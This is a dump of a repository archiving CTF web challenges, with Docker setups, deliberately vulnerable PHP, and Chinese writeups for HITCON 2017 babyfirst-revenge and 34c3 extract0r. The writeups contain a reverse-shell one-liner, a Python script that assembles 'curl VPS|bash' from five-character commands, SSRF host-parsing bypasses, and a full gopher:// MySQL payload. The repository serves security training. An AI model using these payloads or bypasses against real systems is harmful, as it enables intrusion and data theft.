7 | CREATE TABLE IF NOT EXISTS `this_is_the_fl4g` (
8 | `secret` varchar(225) NOT NULL
9 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
10 |
11 | INSERT INTO `this_is_the_fl4g` (`secret`) VALUES
12 | ('hitcon{idea_from_phith0n,thank_you:)}');
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | root /var/www/html;
4 | index index.php index.html index.htm;
5 |
6 | server_name localhost;
7 | location ~ \.php$ {
8 | include snippets/fastcgi-php.conf;
9 |
10 | # With php5-cgi alone:
11 | #fastcgi_pass 127.0.0.1:9000;
12 | # With php5-fpm:
13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
14 | }
15 | }
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/deploy/src/index.php:
--------------------------------------------------------------------------------
1 | [dir]` 命令生成 dir 名称的文件夹的方式生成分段后的命令,然后通过 `ls -t>g` 将分段的命令写入文件,`sh` 执行文件反弹 shell。
23 |
24 | 由于长度限制,需要先将 `ls -t>g` 分段,倒序生成文件夹名(-t 时间排序的需要)
25 |
26 | ```shell
27 | >-t\
28 | >\>g
29 | >l\
30 | >s\ \
31 | ```
32 |
33 | 生成对应名称文件夹后,由于 `ls` 名称列出按字母顺序的问题,需要先重定向到 c 文件,然后再 `ls` 附加的 c 文件尾部
34 | ```shell
35 | ls>c
36 | ls>>c
37 |
38 | cat a
39 | -t\
40 | >g
41 | a # 以上无效命令
42 | l\
43 | s \
44 | -t\
45 | >g
46 | a # 以下无效命令
47 | l\
48 | s \
49 | ```
50 |
51 | 生成的 a 文件的功能就是执行 `ls -t>g`
52 |
53 | 有了该命令之后就只需要反弹 shell 了。
54 | 通过在自己的 `VPS/index.html` 写入 shell
55 | ```shell
56 | bash -i >& /dev/tcp/vps/port 0>&1
57 | ```
58 |
59 | 然后利用 `ls -t` 生成 `curl VPS|bash` 命令,执行即可反弹 shell 到 VPS。
60 |
61 | 在 Orange 大大提供的 exp 上修改:
62 |
63 | ```Python
64 | import requests
65 | from time import sleep
66 | from urllib import quote
67 |
68 | payload = [
69 | # generate `ls -t>g` file `_`
70 | '>ls\\',
71 | 'ls>_',
72 | '>\ \\',
73 | '>-t\\',
74 | '>\>g',
75 | 'ls>>_',
76 |
77 | # generate `curl VPS|bash`
78 | # * 为隐去的 VPS ip 地址十进制的某位
79 | '>sh\ ',
80 | '>ba\\',
81 | '>\|\\',
82 | '>2\\',
83 | '>1*\\',
84 | '>8*\\',
85 | '>5*\\',
86 | '>7*\\',
87 | '>\ \\',
88 | '>rl\\',
89 | '>cu\\',
90 |
91 | # exec
92 | 'sh _',
93 | 'sh g',
94 | ]
95 |
96 | r = requests.get('http://127.0.0.1:8008/?reset=1')
97 | for i in payload:
98 | assert len(i) <= 5
99 | r = requests.get('http://127.0.0.1:8008/?cmd=' + quote(i))
100 | print(i)
101 | sleep(0.2)
102 | ```
103 |
104 | 然后监听反弹 shell
105 |
106 | 
107 |
108 |
109 | 在根目录找到 README.txt
110 | ```
111 | Flag is in the MySQL database
112 | fl4444g / SugZXUtgeJ52_Bvr
113 | ```
114 |
115 | 最后通过执行 SQL 找到 Flag
116 | ```SQL
117 | mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "show databases;";
118 | mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb;show tables;"
119 | mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb;select * from this_is_the_fl4g;";
120 | ```
121 |
122 | ## References
123 | [HITCON 2017 babyfirst-revenge[-v2]浅析](https://xz.aliyun.com/t/1579)
124 |
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/writeup/img/shell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/RCE/hitcon-2017-babyfirst-revenge/writeup/img/shell.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **本项目不再维护和更新**
2 |
3 | 本项目只是对历届 CTF 开源的 Web 题源码进行了一个整理分类,并提供一个简单的搭建方法
4 |
5 | # 申明
6 | 由于本人并未向出题人申请重新对题目进行修改发布的权利,但对每个题均标明了出处,如涉嫌侵权,立马致歉删除。
7 |
8 | 对于部分没找到 flag 的题目,会自己随便添加
9 |
10 | 对已提供 Dockerfile 及 sql 文件的题目会做适当修改(或者重写,因为有的题目按给的文件运行不起来。。可能是我打开的方式不对),对于大部分没有的题目,会自己~~编写~~ (复制粘贴)提供相应的文件
11 |
12 | 如有 bug,还望告知
13 |
14 | # 搭建
15 | 每道题目对应的端口需要自行在 run 脚本中更改
16 |
17 | ```shell
18 | cd the_challenge
19 | chmod 777 build run
20 | ./build
21 | ./run
22 | ```
23 |
24 | # 分类
25 |
26 | ## SQLi
27 |
28 | ## RCE
29 |
30 | [hitcon-2015-babyfirst](https://github.com/inory009/CTF-Web-Challenges/tree/master/RCE/hitcon-2015-babyfirst)
31 |
32 | [hitcon-2017-babyfirst-revenge](https://github.com/inory009/CTF-Web-Challenges/tree/master/RCE/hitcon-2017-babyfirst-revenge)
33 |
34 | [hitcon-2017-babyfirst-revenge-v2](https://github.com/inory009/CTF-Web-Challenges/tree/master/RCE/hitcon-2017-babyfirst-revenge-v2)
35 |
36 | ## XSS
37 | [34c3-2017-urlstorage](https://github.com/inory009/CTF-Web-Challenges/tree/master/XSS/34c3-2017-urlstorage)
38 |
39 |
40 | ## SSRF
41 | [n1ctf-2018-hard-php](https://github.com/inory009/CTF-Web-Challenges/tree/master/SSRF/n1ctf-2018-easy_harder_php)
42 |
43 | [34c3-2017-extract0r](https://github.com/inory009/CTF-Web-Challenges/tree/master/SSRF/34c3-2017-extract0r)
44 |
45 |
46 | ## Unseralization
47 | [hitcon-2016-babytrick](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/hitcon-2016-babytrick)
48 |
49 | [hitcon-2017-baby^h-master-php](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/hitcon-2017-baby%5Eh-master-php)
50 |
51 | [hitcon-2018-baby-cake](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/hitcon-2018-baby-cake)
52 |
53 | [lctf-2018-babyphp's revenge](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/lctf-2018-babyphp's-revenge)
54 |
55 | ## File Inclusion
56 | [XCTF-Final-2018-Bestphp](https://github.com/inory009/CTF-Web-Challenges/tree/master/File-Inclusion/XCTF-Final-2018-Bestphp)
57 |
58 | [hitcon-2018-one-line-php-challenge](https://github.com/inory009/CTF-Web-Challenges/tree/master/File-Inclusion/hitcon-2018-one-line-php-challenge)
59 |
60 | ## XXE
61 |
62 | ## SSTI
63 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [eboda/34c3ctf/tree/master/extract0r](https://github.com/eboda/34c3ctf/tree/master/extract0r)
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t ctf/extract0r ./deploy
3 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/deploy/000-default.conf:
--------------------------------------------------------------------------------
1 |
2 | # The ServerName directive sets the request scheme, hostname and port that
3 | # the server uses to identify itself. This is used when creating
4 | # redirection URLs. In the context of virtual hosts, the ServerName
5 | # specifies what hostname must appear in the request's Host: header to
6 | # match this virtual host. For the default virtual host (this file) this
7 | # value is not decisive as it is used as a last resort host regardless.
8 | # However, you must set it for any further virtual host explicitly.
9 | #ServerName www.example.com
10 |
11 |
12 | ServerAdmin webmaster@localhost
13 | DocumentRoot /var/www/html
14 | php_admin_flag engine off
15 |
16 |
17 | AllowOverride None
18 | Require all granted
19 | php_admin_flag engine on
20 |
21 |
22 |
23 | Options -Indexes
24 | AllowOverride None
25 | Require all granted
26 | php_admin_flag engine off
27 |
28 |
29 |
30 | Options -Indexes
31 | AllowOverride None
32 | Require all granted
33 | php_admin_flag engine off
34 |
35 |
36 |
37 | Options Indexes FollowSymLinks
38 | AllowOverride None
39 | Require all granted
40 | php_admin_flag engine off
41 |
42 |
43 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
44 | # error, crit, alert, emerg.
45 | # It is also possible to configure the loglevel for particular
46 | # modules, e.g.
47 | #LogLevel info ssl:warn
48 |
49 | ErrorLog ${APACHE_LOG_DIR}/error.log
50 | CustomLog ${APACHE_LOG_DIR}/access.log combined
51 |
52 | # For most configuration files from conf-available/, which are
53 | # enabled or disabled at a global level, it is possible to
54 | # include a line for only one particular virtual host. For example the
55 | # following line enables the CGI configuration for this host only
56 | # after it has been globally disabled with "a2disconf".
57 | #Include conf-available/serve-cgi-bin.conf
58 |
59 |
60 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
5 |
6 |
7 | RUN apt-get -y update && apt-get -y install curl wget zip
8 |
9 | # apache & php & stuff
10 | RUN apt-get -y install apache2 apt-transport-https php php-curl php-pclzip libapache2-mod-php p7zip-full cron
11 |
12 | ENV WEBROOT /var/www/html
13 | ENV MYSQL_USER=mysql
14 | RUN rm /var/www/html/*.html
15 |
16 | COPY db.sql /tmp/db.sql
17 |
18 | RUN apt-get install -y mysql-client \
19 | mysql-server \
20 | php-mysql \
21 | && service mysql start \
22 | && mysqladmin -uroot password FUCKmyL1f3AZiwqecq \
23 | && mysql -e "source /tmp/db.sql;" -uroot -pFUCKmyL1f3AZiwqecq \
24 | && rm /tmp/db.sql
25 |
26 | COPY mysqld.cnf /etc/mysql/mysql.conf.d/mysqld.cnf
27 |
28 |
29 |
30 | # challenge files and configs
31 | RUN (crontab -l ; echo "*/5 * * * * rm -r /var/www/html/files/* ; touch /var/www/html/files/index.php";\
32 | echo "*/5 * * * * rm -r /tmp/* && touch /tmp/index.php") | crontab -
33 | COPY 000-default.conf /etc/apache2/sites-enabled/000-default.conf
34 | COPY webroot/ /var/www/html/
35 | RUN touch /tmp/index.php
36 | RUN useradd extract0r -m
37 | COPY files/create_a_backup_of_my_supersecret_flag.sh /home/extract0r/
38 | RUN chown -R www-data /var/www/html/files && \
39 | chown extract0r:extract0r /home/extract0r/create_a_backup_of_my_supersecret_flag.sh
40 |
41 | COPY ./start.sh /start.sh
42 | RUN chmod 777 /start.sh
43 |
44 |
45 |
46 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/deploy/db.sql:
--------------------------------------------------------------------------------
1 | CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
2 | USE `flag`;
3 |
4 | DROP TABLE IF EXISTS `flag`;
5 | CREATE TABLE `flag` (
6 | `flag` VARCHAR(100)
7 | );
8 |
9 |
10 | CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
11 | GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
12 | GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
13 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/deploy/files/create_a_backup_of_my_supersecret_flag.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | echo "[+] Creating flag user and flag table."
3 | mysql -h 127.0.0.1 -uroot -p <<'SQL'
4 | CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
5 | USE `flag`;
6 |
7 | DROP TABLE IF EXISTS `flag`;
8 | CREATE TABLE `flag` (
9 | `flag` VARCHAR(100)
10 | );
11 |
12 |
13 | CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
14 | GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
15 | GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
16 | SQL
17 |
18 | echo -n "[+] Please input the flag:"
19 | read flag
20 |
21 | mysql -h 127.0.0.1 -uroot -p < 1024*10) {
52 | return "Archive's total uncompressed size exceeds 10KB";
53 | }
54 |
55 | if ($file_cnt === 0) {
56 | return "Archive is empty";
57 | }
58 |
59 | if ($file_cnt > 5) {
60 | return "Archive contains more than 5 files";
61 | }
62 |
63 | return 0;
64 | }
65 |
66 | function verify_extracted($directory) {
67 | $files = glob($directory . '/*');
68 | $cntr = 0;
69 | foreach($files as $file) {
70 | if (!is_file($file)) {
71 | $cntr++;
72 | unlink($file);
73 | @rmdir($file);
74 | }
75 | }
76 | return $cntr;
77 | }
78 |
79 | function decompress($s) {
80 | $directory = get_directory(true);
81 | $archive = tempnam("/tmp", "archive_");
82 |
83 | file_put_contents($archive, $s);
84 | $error = verify_archive($archive);
85 | if ($error) {
86 | unlink($archive);
87 | error($error);
88 | }
89 |
90 | shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
91 | unlink($archive);
92 |
93 | return verify_extracted($directory);
94 | }
95 |
96 | function error($s) {
97 | clear_directory();
98 | die("ERROR
" . htmlspecialchars($s));
99 | }
100 |
101 | $msg = "";
102 | if (isset($_GET["url"])) {
103 | $page = get_contents($_GET["url"]);
104 |
105 | if (strlen($page) === 0) {
106 | error("0 bytes fetched. Looks like your file is empty.");
107 | } else {
108 | $deleted_dirs = decompress($page);
109 | $msg = "Done!
Your files were extracted if you provided a valid archive.";
110 |
111 | if ($deleted_dirs > 0) {
112 | $msg .= "WARNING:
we have deleted some folders from your archive for security reasons with our cyber-enabled filtering system!";
113 | }
114 | }
115 | }
116 | ?>
117 |
118 |
119 | extract0r!
120 |
121 |
127 |
128 | Your extracted files will appear here.
129 | " . $msg . "
"; ?>
130 |
131 |
132 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/deploy/webroot/url.php:
--------------------------------------------------------------------------------
1 | > (32-$mask)) << (32-$mask));
6 | }
7 |
8 | function get_port($url_parts) {
9 | if (array_key_exists("port", $url_parts)) {
10 | return $url_parts["port"];
11 | } else if (array_key_exists("scheme", $url_parts)) {
12 | return $url_parts["scheme"] === "https" ? 443 : 80;
13 | } else {
14 | return 80;
15 | }
16 | }
17 |
18 | function clean_parts($parts) {
19 | // oranges are not welcome here
20 | $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
21 |
22 | if (array_key_exists("scheme", $parts)) {
23 | $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
24 | }
25 |
26 | if (array_key_exists("user", $parts)) {
27 | $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
28 | }
29 |
30 | if (array_key_exists("pass", $parts)) {
31 | $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
32 | }
33 |
34 | if (array_key_exists("host", $parts)) {
35 | $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
36 | }
37 |
38 | return $parts;
39 | }
40 |
41 | function rebuild_url($parts) {
42 | $url = "";
43 | $url .= $parts["scheme"] . "://";
44 | $url .= !empty($parts["user"]) ? $parts["user"] : "";
45 | $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
46 | $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
47 | $url .= $parts["host"];
48 | $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
49 | $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
50 | $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
51 | $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";
52 |
53 | return $url;
54 | }
55 |
56 | function get_contents($url) {
57 | $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
58 | "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8",
59 | "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
60 | "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24",
61 | "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ];
62 |
63 | for ($i = 0; $i < 5; $i++) {
64 | $url_parts = clean_parts(parse_url($url));
65 |
66 | if (!$url_parts) {
67 | error("Couldn't parse your url!");
68 | }
69 |
70 | if (!array_key_exists("scheme", $url_parts)) {
71 | error("There was no scheme in your url!");
72 | }
73 |
74 | if (!array_key_exists("host", $url_parts)) {
75 | error("There was no host in your url!");
76 | }
77 |
78 | $port = get_port($url_parts);
79 | $host = $url_parts["host"];
80 |
81 | $ip = gethostbynamel($host)[0];
82 | if (!filter_var($ip, FILTER_VALIDATE_IP,
83 | FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
84 | error("Couldn't resolve your host '{$host}' or
85 | the resolved ip '{$ip}' is blacklisted!");
86 | }
87 |
88 | foreach ($disallowed_cidrs as $cidr) {
89 | if (in_cidr($cidr, $ip)) {
90 | error("That IP is in a blacklisted range ({$cidr})!");
91 | }
92 | }
93 |
94 | // all good, rebuild url now
95 | $url = rebuild_url($url_parts);
96 |
97 |
98 | $curl = curl_init();
99 | curl_setopt($curl, CURLOPT_URL, $url);
100 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
101 | curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
102 | curl_setopt($curl, CURLOPT_TIMEOUT, 3);
103 | curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
104 | curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip));
105 | curl_setopt($curl, CURLOPT_PORT, $port);
106 |
107 | $data = curl_exec($curl);
108 |
109 | if (curl_error($curl)) {
110 | error(curl_error($curl));
111 | }
112 |
113 | $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
114 | if ($status >= 301 and $status <= 308) {
115 | $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
116 | } else {
117 | return $data;
118 | }
119 |
120 | }
121 |
122 | error("More than 5 redirects!");
123 | }
124 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/run:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | docker run -d -p 8013:80 -it ctf/extract0r
3 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/writeup/README.md:
--------------------------------------------------------------------------------
1 | # 34c3-2017-extract0r
2 |
3 | ## 解压
4 | 首先题目会对我们提供的 URL 进行一些校验然后访问,并进行解压。因此可以借助压缩文件可以包含链接文件的特性来进行列目录或读取文件的操作。
5 |
6 | 尝试列目录,在 VPS 上生成 payload,另外需要注意我们提供的 URL 必须是域名,题目会过滤掉 URL 中的数字,意味着不能通过 IP 访问
7 |
8 | ```shell
9 | ln -s / root
10 | zip -y 1.zip root
11 | ```
12 |
13 | 提交请求后,页面返回了 ` we have deleted some folders from your archive for security reasons with our cyber-enabled filtering system!`
14 |
15 | 点击 cyber-enabled filtering system 给出如下代码:
16 | ```php
17 | function verify($directory) {
18 | $files = glob($directory . '/*');
19 | foreach($files as $file) {
20 | if (!is_file($file)) {
21 | unlink($file);
22 | @rmdir($file);
23 | }
24 | }
25 | }
26 | ```
27 |
28 | 题目会移除所有不是文件的的东西,比如目录。因此可通过 `ln -s /var/www/html/index.php` 之类读文件,但无法列目录。
29 |
30 | 但在 http://php.net/manual/en/function.glob.php 中可以看到:
31 |
32 | 
33 |
34 | glob 函数不会列出隐藏文件,借此特性便能绕过 filter 列目录,简单的将 root 重命名为 .root 即可
35 |
36 | ```shell
37 | ln -s / .root
38 | zip -y 1.zip .root
39 | ```
40 |
41 | 成功列目录
42 |
43 | 
44 |
45 | 然后在 `/home/extract0r` 可以找到 `create_a_backup_of_my_supersecret_flag.sh`,其中发现 flag 在数据库中,且创建了一个空密码的用户
46 |
47 | ## SSRF bpass
48 | 知道 flag 在数据库,又存在能向提供的 URL 发出请求的功能,明显存在 SSRF
49 |
50 | 在 url.php 中可以看到发出请求的函数
51 |
52 | ```php
53 |
54 | function clean_parts($parts) {
55 | // oranges are not welcome here
56 | $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
57 |
58 | if (array_key_exists("scheme", $parts)) {
59 | $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
60 | }
61 |
62 | if (array_key_exists("user", $parts)) {
63 | $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
64 | }
65 |
66 | if (array_key_exists("pass", $parts)) {
67 | $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
68 | }
69 |
70 | if (array_key_exists("host", $parts)) {
71 | $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
72 | }
73 |
74 | return $parts;
75 | }
76 |
77 | function get_contents($url) {
78 | $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
79 | "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8",
80 | "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
81 | "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24",
82 | "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ];
83 |
84 | for ($i = 0; $i < 5; $i++) {
85 | $url_parts = clean_parts(parse_url($url));
86 |
87 | if (!$url_parts) {
88 | error("Couldn't parse your url!");
89 | }
90 |
91 | if (!array_key_exists("scheme", $url_parts)) {
92 | error("There was no scheme in your url!");
93 | }
94 |
95 | if (!array_key_exists("host", $url_parts)) {
96 | error("There was no host in your url!");
97 | }
98 |
99 | $port = get_port($url_parts);
100 | $host = $url_parts["host"];
101 |
102 | $ip = gethostbynamel($host)[0];
103 | if (!filter_var($ip, FILTER_VALIDATE_IP,
104 | FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
105 | error("Couldn't resolve your host '{$host}' or
106 | the resolved ip '{$ip}' is blacklisted!");
107 | }
108 |
109 | foreach ($disallowed_cidrs as $cidr) {
110 | if (in_cidr($cidr, $ip)) {
111 | error("That IP is in a blacklisted range ({$cidr})!");
112 | }
113 | }
114 |
115 | // all good, rebuild url now
116 | $url = rebuild_url($url_parts);
117 |
118 |
119 | $curl = curl_init();
120 | curl_setopt($curl, CURLOPT_URL, $url);
121 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
122 | curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
123 | curl_setopt($curl, CURLOPT_TIMEOUT, 3);
124 | curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
125 | curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一条缓存,防止dns rebinding
126 | curl_setopt($curl, CURLOPT_PORT, $port);
127 |
128 | ...
129 | }
130 | }
131 | ```
132 |
133 | 代码逻辑:
134 | 1. 使用 `parse_url` 来解析提供的 URL 为 host, scheme, port, path 等部分
135 | 2. 对每一部分进行过滤
136 | 3. 解析 host 并检查是否在黑名单内
137 | 4. 重新构建 URL
138 | 5. 使用 `libcurl` 发送请求
139 |
140 |
141 | 这里的官方标准解法是使用 ipv6 表示法来表示域名,核心是**利用 `parse_url` 和 `libcurl` 发包针对 host 解析时的差异**。
142 |
143 | ```
144 | http://foo@[abcbcb.cf]@google.com:3306/
145 | ```
146 |
147 | `parse_url` 解析 host 为 google.com
148 | `libcurl` 解析为 [abcbcb.cf]
149 |
150 | 在 rfc3986 中对 host 的定义为
151 |
152 | > host = IP-literal / IPv4address / reg-name
153 | ...
154 | A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
155 | IP-literal = "[" ( IPv6address / IPvFuture ) "]"
156 |
157 | 即 [ip] 是一种 host 的形式,libcurl 在解析时候认为 [] 包裹的是 host。
158 |
159 | 由于 host 会过滤数字,因此提交的 url 只能包含十六进制中剩下的 a-f。 而 .cf 域名是免费的,因此可以注册一个 abcbcb.cf 解析为 127.0.0.1
160 |
161 | 然而此处还存在一个预期外的解
162 |
163 | ```
164 | http://foo@localhost:foo@google.com:3306/
165 | ```
166 |
167 | `parse_url` 匹配最后一个 @ 后面符合格式的 host,因此将 google.com 解析为 host;而 `libcurl` 匹配第一个 @ 后面符合格式的 host,因而将 localhost 解析为 host
168 |
169 | > 注:本环境 curl 版本为 7.47,无法成功利用,需要更高的版本才能利用该方法
170 |
171 | ## SSRF 攻击 MySQL
172 | 绕过了 SSRF 对 localhost 的限制,即可直接攻击 MySQL,但由于 curl 返回的数据需要能被解压,因此需要把查出来的数据构造为压缩格式。
173 |
174 | 使用 `m4st3r_ov3rl0rd` 登录,然后执行 `use flag;select flag from flag;` 获得 flag
175 |
176 | 有了 flag 接下来需要将其变为压缩格式
177 |
178 | ```python
179 | flag_dummy = b"B"*100
180 |
181 | payload = zip_tools.create_zip(b"gimme_flag", flag_dummy)
182 |
183 | prefix = bytes(payload.split(flag_dummy)[0])
184 | suffix = bytes(payload.split(flag_dummy)[1])
185 |
186 |
187 | sql_cmd = b"select concat(cast(0x" + hexlify(prefix) + b" as binary), rpad(flag, 100, 'A'), cast(0x" + hexlify(suffix) + b" as binary)) from flag.flag-- -"
188 | ```
189 |
190 | 上面的 PoC 先创建一个 zip 文件,并填充有字符串 100*"B"。在这个基础上,利用我们的 SQL 查询出来的 flag 替换掉这个字符串。最终 select 出来即为 zip 文件。(7z 即使文件 CRC 校验错误,部分字段异常,也能成功解压)
191 |
192 |
193 | 使用 [exp](exploit.py) 生成最终 payload:
194 |
195 | ```
196 | gopher://foo@[abcbcb.cf]@yolo.com:3306/A%48%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%34%73%74%33%72%5f%6f%76%33%72%6c%30%72%64%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%00%4c%01%00%00%03%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%30%78%35%30%34%62%30%33%30%34%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%20%61%73%20%62%69%6e%61%72%79%29%2c%20%72%70%61%64%28%66%6c%61%67%2c%20%31%30%30%2c%20%27%41%27%29%2c%20%63%61%73%74%28%30%78%35%30%34%62%30%31%30%32%31%65%30%33%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%35%30%34%62%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%33%38%30%30%30%30%30%30%38%63%30%30%30%30%30%30%30%30%30%30%20%61%73%20%62%69%6e%61%72%79%29%29%20%66%72%6f%6d%20%66%6c%61%67%2e%66%6c%61%67%2d%2d%20%2d%46%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%42%41%52
197 | ```
198 |
199 | ## References
200 | [extract0r - web - medium](https://github.com/eboda/34c3ctf/tree/master/extract0r)
201 |
202 | [从一道CTF题目看Gopher攻击MySql](https://www.freebuf.com/articles/web/159342.html)
203 |
204 | [34c3 web extract0r!](https://www.jianshu.com/p/ef6cf8665a64)
205 |
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/writeup/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/SSRF/34c3-2017-extract0r/writeup/__init__.py
--------------------------------------------------------------------------------
/SSRF/34c3-2017-extract0r/writeup/exploit.py:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | import struct
4 | import zip_tools
5 | from binascii import hexlify
6 |
7 |
8 | # make a 100 dummy character string
9 | # we will rpad flag to 100 characters (this is needed since actual flag length is unknown, you
10 | # could just bruteforce it tohugh i guess...)
11 | flag_dummy = b"B"*100
12 |
13 | payload = zip_tools.create_zip(b"gimme_flag", flag_dummy)
14 | # print(''.join(map(chr,payload)))
15 | # exit()
16 |
17 | prefix = bytes(payload.split(flag_dummy)[0])
18 | suffix = bytes(payload.split(flag_dummy)[1])
19 |
20 |
21 | sql_cmd = b"select concat(cast(0x" + hexlify(prefix) + b" as binary), rpad(flag, 100, 'A'), cast(0x" + hexlify(suffix) + b" as binary)) from flag.flag-- -"
22 |
23 | auth = bytearray([
24 | 0x48, 0x0, 0x0, # length
25 | 0x1, # seqid
26 | 0x85, 0xa6, 0x3f, 0x20, 0, 0, 0, 0x1, 0x21, 0, 0,
27 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
28 | 0, 0, 0, 0, 0
29 | ] + list(b'm4st3r_ov3rl0rd') + [ # mysql user
30 | 0, 0, # pass length & pass
